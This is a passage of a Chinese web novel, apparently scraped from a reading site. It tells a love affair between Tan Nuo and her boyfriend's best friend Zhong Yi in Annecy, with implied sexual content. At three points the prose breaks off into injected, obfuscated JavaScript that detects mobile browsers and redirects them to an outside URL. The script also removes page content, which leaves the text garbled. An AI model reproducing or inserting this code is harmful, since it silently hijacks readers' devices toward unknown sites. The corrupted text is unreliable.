“这一次我恐怕不能帮你,”钟屹用指腹抹掉眼睫处的那滴雨,声音有些冷,“得靠你自己了。” 被拒绝的孙庭誉也并没有觉得有什么,毕竟钟屹也有自己的事情要做,而且这也不是钟屹第一次拒绝他。 “没事。”孙庭誉说,“你路上小心。” 挂掉电话以后,钟屹看了口袋里的那朵小花,发现自己本就不多的道德在这一刻消弭了。 他在原地怔了两秒后,准备点开孙庭誉曾经为了让他找谭诺时分享给他的定位链接。 但是,点开前,他关掉了屏幕,拦了一辆的士。 雨停了。 - …… 谭诺就这样看着钟屹低头吻了下来,他的气息一瞬间包裹住了她,在钟屹的唇就要吻上她时,谭诺终于在慌乱中找回了自己的神志,将脸别了过去。 又是这样。 钟屹的吻就这样若有似无地贴在她的脸颊处,他轻笑了一声后,慢慢将头抵在了她的肩窝上,闭上了眼睛。 谭诺的脑子一片空白,但还是抬起手将他的头推开。 她抬脚就要从钟屹身边跑开,钟屹却在她转身的瞬间,从背后攥住了她的手。 “我不认路,”他攥着她手的力度很大,“你走了,我会找不到你。” 这句话让谭诺的心一缩,她试图说点什么骂他的话,但是钟屹却在这时动作很轻地将下颌贴在她的脑袋上。 谭诺还想要挣扎,就听到他略显沉闷的声音。 “看到他这样抱着你的时候,”他的声音就这样传进她的耳朵里,“我一直想知道,是什么感觉。” 谭诺因为他的这句话脑袋都要炸开了,挣扎的动作就这样凝滞住。 钟屹试探着伸出手,将她从背后环抱住。 谭诺知道自己如果还有理智,那么就应该将他贴在她腰腹上的手拿开,但是她手只是放在空中,什么也没有做。 “我在等的人是孙庭誉,”谭诺感觉到他手上的凉意已经传递到她的全身,她找回自己的声音,“所以你不能这样。” 钟屹就这样静静地待着,很快将脸埋进了她的肩窝。 “那你也是为了他离开尼斯?” 谭诺说不出话了。 她怀疑这又是一场梦,一场不道德的梦。 孙庭誉决定来法国工作一年时,她也曾威胁过他,他不在,她说不定就会对别人动心。 但是就算她真的要对谁动心,这个别人,都不应该是孙庭誉最好的朋友…… “你为什么这样?” “你很暖。”钟屹依然还是这样抱着她,轻声说,“我有点冷。” 他的声音让谭诺不禁想起今早,他们在屋外,孙庭誉在房间里叫她的名字,她仓皇地看向湖边还有桥上的人,爱情桥上不少情侣在亲昵地拍照、接吻,他们这样的根本什么都不算,但是她不知道那里面会不会有熟悉的面孔。 “但是,你很凉。”谭诺手焦虑地握成拳头,但是还是没有推开他。 “你不是就喜欢冷?到我家就吵着要空调。” 谭诺垂着眼帘,又不说话了。 孙庭誉给她买了移动空调。 “不能这样啊,”她说,“你们不是最好的朋友吗?” “谁说的?”他的声音在这一刻听起来有些无所谓,还透着一丝无情,“孙庭誉告诉你的?” “所以不是吗?” “可能是吧。”钟屹不在乎地说,“所以呢?” 这个时候,他周身又萦绕着令谭诺觉得无比危险的阴郁的气质。 她终于推开了他,谭诺有些不自在地抱着手臂。 钟屹站到了她的面前,他盯着她耳后的花在看,谭诺感觉到以后伸手就想要摘掉。 “别摘。”钟屹目光温柔,“你不是最喜欢象征永恒的东西么?” 他在笑,只是笑容里有些伤感。 他想,不会有比来自墓地、为了纪念死亡更永恒的东西了。 谭诺已经失去了思考的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大约过了两分钟,钟屹抬手,覆在她的脸上,但是很快就收回了手。 他再开口时声音有些生硬:“你的眼睛怎么红了?脸也在发烫,没吃药么?” 谭诺低下头揉了一下眼睛,她才发现自己的脸也有些烫,不只是他摸过的地方。 早上她没有吃感冒药,怪不得和许奈逛了一阵就感觉到累。 “我要回去了。”她说。 钟屹的目光总让谭诺想要逃开,如果他一直说一些刺耳的话还好,但是他时不时就会流露出让她心软的眼神。 钟屹从裤子口袋拿出一板药递给她。 “感冒药。一日三次。”他说。 谭诺迟钝地接了过来,“我走了。” “我送你。” 谭诺手又握成了拳头,“不用。” 他就这样走在谭诺的身边,谭诺的余光看到钟屹被风掀起的衣角,再想起她耳朵的那朵小花,心里越发的沉重。 她没有坚持再说,你不用送我,你走开,她也只是无声地这样往前走。 原本只有不到十分钟的路程,两个人就这样走了快二十分钟。 谭诺站在自己房间的门口,那双黑白分明的眼睛就这样看着钟屹。 她再开口时声音带着一点鼻音。 “我到了,你走吧。” 钟屹没有动,就这样无声地注视着她。 被他这样盯着,谭诺的身体又开始发烫,她握着门把手,又说了一次,“我要进去了。” 钟屹目光复杂地盯着她,在谭诺咬着嘴唇说“再见”时,他忽然捏着她的脸,低头重重地吻下来。 门被钟屹抬手关掉,他将谭诺困在房间入口处的门上,低头开始吻她。 谭诺感觉到嘴唇上的温度,她忘记了做任何的反应,被这样亲了几秒后,她喘息着将头扭开。 钟屹灼热的视线盯着她,再一次将她的脸扳了回来,执着地继续吻她。 就这样重复了三次后,谭诺放弃了。 钟屹的吻就像是一场掠夺,谭诺先是感觉到疼,很快她的呼吸被钟屹尽数吞走。身体的反应越发地迟钝,她就这样背靠在门上。 钟屹忽然松开了她已经被吻到湿润的嘴唇,他注视着她,掌心抚了抚她的脸后,没头没尾地说了一句,“你在等我。” 谭诺仰着头,湿润的眼睛就这样一眨不眨地看着他,脑海里反驳的话也忘记说。 她想,至少有一件好事,钟屹不再吻她了。 但是顷刻间,钟屹重新低下头,热切地吻她的嘴唇。 谭诺被动地被他亲着,脑海里不断出现一个声音:不可以,推开他,你的男朋友是孙庭誉…… 胸膛里激烈的情绪在和钟屹的吻做最后的博弈,谭诺知道她应该推开的,但是她的心跳声太大了,以至于压过了脑海中的那个声音。 最后,她慢慢地闭上了眼睛,搂住了钟屹的脖子。 17. chap17 谭诺越界了。 当她的手不受控制地搂住钟屹的脖子时,她就知道:这次完了。 或者更早,早在她默许钟屹送她回来时,她就在犯错了。 她意识不清醒地回吻了一下。 钟屹骤然间停住了吻她的动作。 空气中只剩下他们早已不分彼此的呼吸声,两个人的唇贴着。 钟屹的目光一时间有些放空,在谭诺就要睁开眼时,他又俯身亲她。 两个人亲吻对方,从谭诺回应的那一秒开始,钟屹的吻变得温柔,不再是疯狂的索取。 先是唇与唇这样静静地贴着,谭诺没有动,钟屹也是,气息互相缠绕,谭诺奇妙地感受到一场共振。 他们几乎是同时又热烈地亲吻对方,唇与舌缠/绵,钟屹的手就这样拖住她的后颈,好让她仰头承受他的亲吻。 不知道这样吻了多久,谭诺忽然一下子推开了钟屹。 房间昏暗,被推开的一瞬间,钟屹的神色瞬间变得僵硬。 他手握住谭诺的肩膀,却看到她开始咳嗽。 “感冒,”谭诺脸涨得通红,“鼻子不通,喘不过气了。” 她小声解释。 他们亲太久了。 钟屹手上的力度松了些。 他放开了她,眼神却始终落在她的脸上。 “那现在吃药。”他说。 谭诺手背蹭了一下嘴巴,她严重怀疑自己的嘴唇被亲肿了,孙庭誉也很喜欢亲她,但是他们很久没有亲这么久了。 在这个时候想起孙庭誉对谭诺来说无异于平地惊雷,谭诺的心里不上不下。 她大约是因为感冒脑子糊涂了,所以才会这样,钟屹给她倒水的时候,她就跟在他身后。 谭诺看到透明玻璃上的自己,她的耳后上还别着那朵小花,他们刚刚亲成那个样子,它都没有掉。 谭诺看着那朵花,心里有了猜测:钟屹的妈妈大概去世了,她有些卑鄙地想,只是一个吻,在这里,法国人每天都会跟很多人贴面吻,而她现在就只是在给一个需要安慰的人一点安慰。仅此而已。 她也知道这样的想法有些厚颜无耻,但是事情已经发生了,而她脑子实在太乱了,到此为止就还好。 “我困了,”谭诺吃完药后,将水杯放到桌上,“想睡觉。” 说完这句话,她才意识到自己说的话很有歧义,连忙补充了一句,“一个人睡。” 钟屹垂眸看她,像是觉得有趣似的,低头去找她的嘴唇,又亲了她一下。 她的唇上还沾着吃药时的水渍,看起来很好亲。 谭诺仰头看他,心里烦躁又迷茫,她也不知道这到底是怎么回事。 “去睡吧,”钟屹在这时打断了她的思绪,“你一个人。” 谭诺站在原地,问他:“你不走吗?” “你想我走?” 但是钟屹没等谭诺回答,就听到他说:“我也很困。” 谭诺眉头蹙着,她很想说,那是你的事,但是在刚刚他们发生那样的事后,她再这样说就显得很虚伪做作。 “我在沙发上睡一会儿,一会儿就好。”钟屹说。 他是真的很困,来安纳西找她已经耗尽了他最后的精神,但是看到她的瞬间,就像在充电。 这让他不舍得这样离开。 反正,他的良知已经消失。 谭诺又看了他一眼,困意让她打了一个哈欠,她最后想了想,还是说:“你不要睡沙发了,那边还有一张床。” 这里本来就是为情侣准备的套房。只是,是许奈为她和孙庭誉准备的。 说完,谭诺转身往自己的卧室走去。 她的脚步有些虚浮,卧室没有门,谭诺第一次那么强烈地感觉到钟屹就在自己的不远处。 他们刚刚亲得难舍难分,现在他又睡在与她一个客厅之隔的房间。 不久前,他就睡在她的隔壁,但是一切已经不一样了。 谭诺不敢再想下去,因为她怕自己会想到孙庭誉。 谭诺将自己陷进床里,不再去关注钟屹的动静。 她以为现下这个状况会让她失眠,但是她睡得很沉。 不知道是不是起了药效,谭诺感觉自己好像又在做梦,她其实很少在白天睡觉的时候做梦。 大约是因为盖着厚被子,睡前又喝了热水,她身上开始冒汗。 热,这种热的感觉让她在睡梦中隐隐感到不安。 梦里烈阳高照,她就站在爱情桥上,孙庭誉站在她的面前。 他面容痛苦问她为什么背叛他,他对她不够好吗?谭诺心里发堵,愧疚地摇头。 “你喜欢上他了?”孙庭誉目光受伤。 谭诺怔了两秒开始摇头,“不。” “我只是看他难过,所以安慰他。”她不敢看孙庭誉悲伤的眼睛,还在狡辩,“我们什么也没发生。” 眼见着孙庭誉要走,谭诺想叫他的名字,忽然感觉手被人拉住了。 她惊慌地睁开了眼睛,入眼一片黑暗。 是梦,她松了一口气。 谭诺从前睡眠质量很好,很少做梦的,但是这两天…… 看来她真是一个心理素质一般的人。 房间里光线很暗,之前她准备睡觉的时候将所有的窗帘都拉了起来。这份黑暗竟然莫名地让她有了一点安全感。 谭诺感觉到被子下自己的手被人拉着,侧头一看,钟屹就蹲在她的床边,不知道看了她多久。 “你怎么过来了?”她一出声才发现自己的嗓音有些哑。 钟屹注视着她,“我看到你把被子踢掉了。” 他的声音在这片空间中显得有些轻柔,就像在给她唱催眠曲。 谭诺想起刚刚那个梦,不知道她醒来时有没有叫出孙庭誉的名字。 她用那种疑惑的眼神看了一眼钟屹,但是还是没有问出口。 房间太安静了,谭诺发觉还是在湖边时更安全一点。 “我太热了,不想盖。”谭诺身上的被子刚刚被钟屹拉到了她的嘴巴上面。 她就这样对他眨巴着眼睛,用没被他拉住的手又把被子往下拉了一点。 钟屹忽然起身坐到了床边,被他这样笼罩着,谭诺感到一点心慌,就看到他将他的两只手的掌心贴在了她的颈部。 “给你降温。”钟屹注视着她。 谭诺瞬间感觉到不属于她体温的温度,这个温度让她瑟/缩了一下身体。 只是现在身上冒着火,她有些贪凉。 这种触感将她从梦中被孙庭誉质问的紧张与愧疚给驱散。 他粗糙的掌心就这样毫无间隙地贴着她,谭诺感觉到痒,但还是忍住没叫。 房间昏暗的光线没有掩盖住他凝视她的目光,不知道为什么,钟屹的眼神总是让谭诺想起夜晚的天使湾,深邃地像是要将她攫住。 被他这样盯着,许久,她不知怎么也鬼迷心窍地将自己的手覆在了他的手上。 她低垂着眼睛,不看他,也不说话,就好像只是在汲取凉意,但是没过几秒,谭诺忽然又把自己的手给收了回来。 她心里别扭又混乱,闭上眼睛把钟屹的手也给拿开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9620233|101193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谁知道,钟屹下一秒又将掌心贴了过来,不依不挠。 谭诺终于抬眼瞪着他:“你真像狗皮膏药。” 钟屹听到她的话后,勾了勾唇。 谭诺不确定,这是不是她第一次看到钟屹发自真心地笑。 她的心又开始跳得很快,她不自在地轻咳了一声,将脸别开。 “你有病。”她说。 钟屹将她的脸扶正,“我没有。” 他忽地低头,又去亲了一下她的嘴唇。 这一次,谭诺完全没有躲闪,她感觉自己开始破罐破摔了。 为什么孙庭誉不来找她? 药效还在发挥作用,她知道自己大概只是贪图钟屹带来的不同于她体温的温度。 但是她还是说:“我感冒了。” “那传染我,”钟屹亲吻她的唇角,无所谓地说,“可能已经传染了。” 谁知道? 他低下头亲吻她的耳朵,谭诺的身体一靠上他,就因为他身上的温度舒/服地抖了一下。 谭诺的体内像是在被火烤,但是被钟屹贴近的肌肤却不是,这冰火两重天让她的头脑再一次地发昏…… 她忽然想起钟屹在湖边说的话,她眼睛睁得很大地问:“你喜欢我吗?” 她大约想得到一个否定的答案,钟屹可能只是为了拉她一起背叛孙庭誉。 但是,她听到他贴着她的耳垂,声音低沉:“嗯。” 谭诺纠结地摇头,“不对,我觉得你讨厌我。” 钟屹侧头想了想:“也讨厌。” 注视着别人的时候最讨厌。 他又开始亲她,得到了安全答案的谭诺不知道自己在想什么,有一个念头鬼魅一般地浮上心头,谭诺想,就一次,而且,她是被引/诱的…… 她还是被钟屹拉进了不可见人的名为谷欠望的深海里… 昏天黑地。 也是,他们只能在黑暗里。 谭诺觉得自己要死了。 她一定是要死了,她又有了那种溺水的感觉。 一开始是昨晚那个梦里他和她的样子,后来变了。 手机不知道什么时候开始在桌边震动起来,谭诺慌得想要离开,钟屹却不让。 她想要去拿,钟屹看都没看一眼,直接抬手将它扫到一边,随后更深地吻“她”。 谭诺知道自己应该发火、应该生气,但是她低头看到他唇边的湿润,她已经要疯了。 最后的时候,两个人紧紧挨着,他已经不再那么凉。 “咬我。”钟屹那双深邃、此时被爱谷欠弥漫的眼睛就这样盯着她,让她咬他的脖子。 谭诺早已经失去了思考的能力,“什么?” 没有人听到一墙之隔的来自屋外的脚步声。 墙内的秩序、文明全然颠倒。 谭诺的唇刚贴上他的颈,桌上的电话响了。 铃声的声音很大,大到谭诺的心跳声漏了一拍。 她知道,会打这个电话给她的只有一个人,是许奈。 心底里某些不确定的因子让她挣扎着拿起了电话。 “喂。”她捂着话筒,想让钟屹停下。 而钟屹却置若罔闻地发疯,让她继续咬他。 疼的感觉让他觉得很安全。 只是,谭诺在听到许奈的话后,脑子里崩断已久的弦在这时狠狠跳了一下。 “救命你终于接电话了,我就在门外……你现在最好快让你房间的男的快点离开,”许奈的声音有些急,“你男朋友来找你了,孙庭誉就快到了。” chap18 许奈在法国这几年一直过得悠闲,鲜少早起,这一次因为谭诺来,她起了个大早晒被子,给她更换床品,她没忘记谭诺上学的时候隔三差五过敏的事。 后来见谭诺犯困,她也心安理得地睡了一觉,没想到这一觉睡到了六点多。 许奈第一时间看到了手机上谭诺的信息,又趿拉着拖鞋走到了谭诺的房间外,窗帘被拉了起来,她看到里面没什么光亮,只以为谭诺还在湖边闲逛,要么就是也回来睡觉了。 许奈正想着给谭诺打个电话,没想到就接到了孙庭誉的电话。 他说他来了,想问一下民宿的位置,想给谭诺一个惊喜。 许奈本来因为谭诺来找孙庭誉,孙庭誉却放她鸽子对他有些意见,但现下看他又追了过来,还是满意地点了一下头,心想,还好你来了,不然谭诺看着离出墙也不远了。 她报完地址以后,就听到孙庭誉说他离得很近,走过来不到十分钟。 “你在安纳西湖边吗?”许奈刚想说,他说不定能看到谭诺。 就听到谭诺房间传来的尖叫声。 许奈一时间懵了。 如果不是因为下一秒就听到了一个男人低沉又压抑的声音,许奈还会以为谭诺是一个人在diy。 她几乎是瞬间将话筒捂住,退了几步对着孙庭誉说,“你慢慢过来,不急。” 挂掉电话以后,她打谭诺的电话,没有人接……许奈几乎是当机立断地打了房间的座机。 许奈还从来没有这么紧张过,朋友的男朋友要来捉奸了……还好,这一次电话终于被接起。 “你男朋友来找你了,孙庭誉就快到了……”许奈说。 听到许奈说孙庭誉就要到了的时候,钟屹还在那里,他让谭诺咬他的脖子,像发了疯似的。 孙庭誉来了,孙庭誉来了。 谭诺感觉到自己身上的鸡皮疙瘩瞬间直起,钟屹还在里面,她却立刻和他拉开距离。 那里也分开了。 谭诺手忙脚乱地将座机的听筒放回到座机上,但是因为手有些脱力半天都没有对上位置。 钟屹呼吸很慢,原本有些发热的身体在这一刻冷却,目光也是。 “他来了?”他问话的时候平静,没有一点即将被人撞破的紧张感,事实上孙庭誉还不是一般的人,他是他的朋友。 谭诺真的要疯了,“对。” 她没想到自己第一次做坏事,报应就来得那么快。 一通电话将他们之间旖/旎的氛围打破。 “快点穿衣服。”谭诺胡乱地拿过桌边的纸擦了擦,身上今天出门穿的衣服不知道被丢到哪里去了,她烦躁地想要将睡衣套到自己的身上,却发现自己穿反了。 钟屹自始至终旁观着她,就好像刚刚那个和她极尽亲密的人不是他。 两个人之间的一切似乎也已经随着那一通电话消失了。 钟屹终于起身,开始穿衣服。 穿好后,他站到了谭诺面前。 他面容冷峻,但是为她穿衣的动作却温柔。 “这么着急?”他问。 他问话的时候,理了一下谭诺已经发皱的衣领。 谭诺现在有一种不知道该怎么面对他的感觉,她欲言又止地看着他,但是什么也没有说。 “你怎么一点也不紧张?” “为什么要紧张?” 这时,门被人敲响。 谭诺神经绷紧地站在原地,就听到许奈的声音,“是我,你们好了吗?” 谭诺松了一口气,“好了。” 她没说话,理好衣服以后开了门。 钟屹看到了谭诺的衣服就在床角,但是,他低垂着眼帘,不知道在想些什么,最后什么也没说。 许奈还有心情对她挤眉弄眼,“算了,我给你换个房间吧。你把东西都拿上。” 许奈说话的时候也只是瞟了一眼钟屹,她对他没什么好脸色,她的朋友出轨那是没什么,但是他作为孙庭誉的朋友还跑来做这个女干/夫,就是个十足的坏人。谁知道人家一眼也没看她。 谭诺心想,也好,这里确实不能睡了。 她将自己的东西胡乱地塞进行李箱里后,最后看了一眼桌上的那朵小花,还是将它拿着放进了睡衣裤子的口袋。 走到门口时,钟屹就站在她身后的阴影处一声也没有出,事实上,在她们收拾东西的两分钟里,他一直漠然地置身事外。 谭诺直觉自己应该和他说些什么,但是,许奈推着她,“求你了,别看了,赶紧的。” 谭诺没有再回头,许奈将房间的门也关了起来,将钟屹与她彻底隔绝。 走到了屋外,她才听到许奈戏谑地开口,“行啊小谭诺,我是有这个觉悟,打算在你摘路边野花的时候帮你向你男朋友遮掩,但你行动力是不是太快了一点?我一点准备也没有。” 谭诺脑子一片混沌,“我也不知道……” 她也没想到钟屹就这样出现在爱情桥下。 许奈看她一脸纠结,安抚道:“行了,你有点出息,不就出个轨吗?没被男人发现那就不算偷。” 她把谭诺塞进了隔壁房间,这一层的套房只有这三间,再去楼下的话,许奈怕她们会撞上孙庭誉。 谭诺都没有时间去思考,钟屹现在还在隔壁。 “你不是说男人就只有挂在墙上还有洒在骨灰盒里才是老实的,出了轨的男人全都下贱,就应该被绝育。” “对啊,但是你是女人啊。”许奈点头,理所应当地说,“女人出轨,那是当代女性的楷模。” 谭诺想笑,但是她现在笑不出来。 她直觉自己现在就像小时候不小心做了一件坏事,在和父母自首前,不断从朋友那里得到安慰,“你其实没做错什么”,“这根本什么都不算。” 她发现自己的劣根性原来远超出她的想象,只是几天的功夫,她就和钟屹搞上了。 搞上之前,她还在心里怪孙庭誉,都是因为他没有来,她才会被引诱,但是现在他来了…… 许奈见她魂不守舍的样子,其实很懂她,谭诺和孙庭誉的感情不是假的,所以谭诺现在才会这样。 她拍了拍她的背,只跟谭诺说:“孙庭誉快到了,你如果不打算和他分手,那就赶紧调整好表情,不然你不用承认,他都能看出来有鬼。” 话音刚落,谭诺听到了门口的脚步声。 谭诺不安地站了起来,不知道是不是钟屹来了。 钟屹还在隔壁,他随时可能会出现。 怎么办怎么办? 她还没能做好表情,就看到孙庭誉风尘仆仆地站在了门口。 “宝宝。”他就像他们第一年在一起时,他赶回来陪她过年的那样,一如既往地出现了。 谭诺心里一阵发酸。 她的脸有些不受控制地皱了起来,许奈已经走了过去,“那个,你终于来了,今天寸步不离地陪了你女朋友大半天,下面交给你了啊。” 孙庭誉从包里拿出一个盒子。 “尼斯机场买的,诺诺麻烦你了。刚刚记错了房间号,还以为是隔壁,差点要敲门,就听到你们的声音。” 许奈干笑了一声,接下后,问:“我说错了,隔壁已经有人住了,今晚一起吃饭?” “好,我请客。” 屋子里只剩下谭诺和孙庭誉两个人。 不知道是不是为了昭示这里一切都是清白且光明正大的,许奈特意将窗帘都拉开。 这里的落日时间也只比尼斯早一点点,夕阳还没有下落,屋外还有一丝光,灯也被打开。 谭诺只觉得自己无处遁形,但是面上还是笑着。 她一笑,孙庭誉也笑了。 “你最近怎么回事?都不对我发火了,”孙庭誉走到她身边,“我不陪你,让你一个人来安纳西,你都不生气吗?” 谭诺先是摇了一下头,很快又点头。 “生气。” 所以,她是因为生气才会跟钟屹做那样的事。 孙庭誉看得出来她的脸有点不自然的红,伸手就要摸,谭诺僵站着没让自己退开。 “脸很烫。”孙庭誉说,他说着话将自己的额头靠到了谭诺的额头上。 “嗯,因为感冒了。”她笑了一下,不去想不久前在隔壁房间发生的让她全身潮红的事。 “我就知道,”孙庭誉从手里的袋子里拿了一盒退烧药还有感冒药,今天早上他就有所怀疑,但是当时没那么严重,好在他来了。 “我不在,你肯定不知道吃药。”他拿出体温计,“还有,今天有没有晒到,晒后修复要不要涂?” 谭诺心里有些不是滋味,她忽然觉得,孙庭誉还是没有来最好,这样她心里不会有这样的折磨感。 “没晒到。”她说。 孙庭誉想给她量体温,正准备把她衣服的扣子解开一个,谭诺不知道想起了什么,忽然抬头吻住他。 这个吻让孙庭誉措手不及。 谭诺不知道刚刚做的时候,钟屹箍住她肩膀的时候有没有在那里留痕迹,应该是没有的,但是她害怕。 孙庭誉低下头,就这样勾着她的舌头亲了她一会儿。 “好了好了。”他只当谭诺是在跟他撒娇。 “我来给你烧点水,要吃药。” 谭诺靠在他胸口,“吃过了。” “真的?” “许奈给我的。”她记得钟屹端杯子让她喝水吃药的画面,他让她传染他,“而且,已经不那么热了。” 谭诺轻缓地呼吸,真的没有那么热了。 孙庭誉亲了一下她的额头,想起她最近的热情。 “最近好像很想要。” “可能,因为月经要来了。”她的声音越来越小。 谭诺回忆了一下,确实是这样,过几天就要来了。 孙庭誉说,“嗯,还有三四天。” 他将她耳后的头发往后捋了捋,手开始向下。 过了好一阵,谭诺说:“我饿了,想吃饭。” 孙庭誉让她把睡衣换掉,“那我们去吃饭。” 孙庭誉在她的行李箱里找换的衣服, “你今天白天穿的衣服呢?” 谭诺太阳穴一跳,下意识地说:“可能在许奈那里,对,在她那里。” 孙庭誉点了点头,本来想帮她洗掉,算了,还是等回去以后一起洗。 谭诺这时借口换衣服,将窗帘拉了起来。 她看孙庭誉没有看自己,正在低头帮她整理凌乱的箱子,便动作飞快地换掉了身上的衣服。 孙庭誉一转身的时候,就看到她已经换好了衣服。 “是不是饿坏了?”他宠溺地笑。 “有点。”谭诺说。 她在孙庭誉给她叠睡衣的时候,出门看了一眼,隔壁的门是关起来的。 钟屹大约已经走了,可能在孙庭誉吻她的时候,也可能更早。 她低下头,孙庭誉已经走到她身边。 “走吧。” 不过许奈最后还是没有和他们一起去吃饭,许奈害怕自己一时说漏嘴。 谭诺一对上她的眼光就猜到了。 她有点想问许奈,钟屹是不是已经离开,但是找不到机会,便带着心事跟孙庭誉出了门。 其实,两个人都装着心事,但是截然不同。 - 吃饭的时候,谭诺才想起来问:“你今天来,那明天还要回尼斯吗?” 孙庭誉犹豫了一下,点头。 “要,明天还有有些事要准备,但是明晚,我可以来接你。” 谭诺摇头,“那很麻烦啊,我可以自己回去。” 孙庭誉注视着她,许久,久到谭诺以为他发现了什么。 半晌,他问:“你是不是因为对我失望了,所以没有要求了。” 谭诺怔了几秒,忽然笑,“我只是怕你累啊。” “我不喜欢这样,我喜欢你对我有要求,最好只对我一个人。”孙庭誉目光真挚,谭诺看得出来。 她这一刻开始乱想,如果有一天,你知道了在你坐飞机来找我的时间里,我和钟屹发生了那些事,你还会觉得值得吗? 但是她什么也没说,只是点头。 孙庭誉其实不适应这样“懂事”的谭诺,他更喜欢从前对他有很多要求的那个人,那样显得她很在乎他。 - 两个人吃完饭后,走到了安纳西湖边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9639454|101193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谭诺惊讶地发现了一件事,从她来法国的这几天开始,每一次她和孙庭誉相处都是在夕阳西下的傍晚。 他们还是走到了爱情桥的边上。 谭诺还记得,她站在变换着颜色的湖边,很期待孙庭誉的出现。 那个时候,他是不是早已决定来找她了。 但是她不知道。 就好像他每一次准备给她惊喜时,都没有告诉她,也是,惊喜本来就不该提前告知的。 “今天有和别人走过这座桥吗?” 谭诺犹在愣神的时候,孙庭誉忽然出声,这句话让她本有些平缓的内心又荡起令她不安的水花。 “什么?”她其实根本没必要这样,她今天根本没有和钟屹走上这座桥。 她在等他,在等他。 “有没有和许奈走这座桥?”孙庭誉一脸好笑地问。 谭诺这时才摇头,“她不跟我走,她说这里都是骗人的,而且她早就走腻了。” 许奈偶尔带一些住客出来转悠,不得不走一遭,她说她已经要走吐了。 孙庭誉牵着她的手,往桥那里走去,谭诺就这样被他带着往前走。 落日的余晖洒在湖面上,看起来泛着令人平静的光泽,就好像它会这样、直到永恒。 站在桥的中心,谭诺的心跳加速。 湖边的风带着一丝凉意,孙庭誉低头吻她的时候,下午钟屹在湖边吻她的画面再度冲击着她的脑海。 谭诺曾经是相信的,相信有永恒的爱情,但是这一刻,她不免怀疑,她不可能在几天之内爱上一个男人,她不爱钟屹,钟屹也不爱她,但是,究竟为什么会这样呢? - 回到民宿的时候,谭诺依旧没有找到问许奈,钟屹有没有离开,但是对上她的表情,谭诺有了猜想。 孙庭誉搂着她回到房间时,谭诺看到那个套房的灯是亮的…… 钟屹没有走。 为什么他还不走?这件事直到她躺到了床上依旧占据着她的思想。 在孙庭誉吻过来的时候,她在想,钟屹在干什么?当孙庭誉的手探进来的瞬间,她在想,他会听见吗?这些阴暗的思绪就像密密麻麻的小虫往她的身上叮、无孔不入…… 钟屹应该离开的,他们本来就是荒唐的时间里做了一次荒唐又丑陋的事,但是他为什么不走呢? - 谭诺这一夜,睡得很不安稳。 她睡前原本是睡在孙庭誉的怀里,但是等到孙庭誉睡着后,她又侧过了身子,她只觉得有一双眼睛好像在盯着她看,就像要钻进她的心里。 - 孙庭誉要赶七点半的飞机,这里到日内瓦机场还需要一点时间,所以他起得很早。 孙庭誉原本不想吵醒谭诺,但是他几乎是刚起身,谭诺就揉了揉眼睛,也坐了起来。 “你要走了吗?”她问。 “对。”他捏了一下她的脸,“吵醒你了?” “换了新地方,有点没睡好。” 她跟着孙庭誉起身去洗漱。 大约因为有些走神,谭诺刷牙的时候,牙膏沫子不小心滴了一点到了裤子上。 孙庭誉抬手帮她擦掉,忽然摸到了她裤子口袋里好像有什么东西。 谭诺懵懵地站着,就看到他从口袋里拿出一朵花。 谭诺看着那朵已经蔫掉,有些枯萎的花,是钟屹送给她的。 “是,这个是——”起得太早,谭诺的大脑很空,她半天没找到一句说辞。 孙庭誉却不在意地将它放到了盥洗池的台子上,“又是在哪里捡的小花是吗?” 谭诺很喜欢这些花花草草,她去海边的时候还会捡一堆贝壳石头,捡完了放在口袋里,直接忘记。 可能是因为孙庭誉也起得太早,又或者他太过于信赖谭诺,他没有想过,如果是在外面捡的,那为什么会在睡衣的裤子里。 “对,”谭诺顺着他的话说,“忘记在哪捡的了,这里到处都是花。” 牙膏辣辣的,她的口腔好辣,胸腔也是。 两人漱完口以后,孙庭誉将台面上的水擦掉后,又看到那朵花。 已经蔫掉发黄了,谭诺大约不会喜欢了,他没作多想地说,“那我把它扔掉了。” 谭诺盯着那朵钟屹送给她的花,她都忘记问他,为什么他让她别摘,但是被她这样放在不能见人的口袋里捂了一夜,已经枯败了。 “哦,扔吧。” 她点头,看着孙庭誉将它扔进了垃圾桶里,和其它垃圾一起。 - 孙庭誉原本没打算吃早餐,但是他担心他一走,谭诺又继续睡觉错过早饭,便在附近的面包店买了一些。 吃完早餐后,他将谭诺送了回来。 等孙庭誉走了之后,房间又恢复了空荡荡。 谭诺在床上坐了一阵,心里有些摸不着头绪,她起身,不知道自己是想要干什么,也可能只是想着去看一看许奈有没有起来。 但是推开门的瞬间,她感觉到了一点困难。 因为门外站着一个人。 他因为门突然地打开被撞着退后了一步。 谭诺看过去,感觉到清晨本的身体有些低温,她的心脏又开始疯狂地跳。 现在是七点,安纳西的太阳刚刚升起,阳光划破了黑暗,但是谭诺站在屋内,仍看不见太多的光亮。 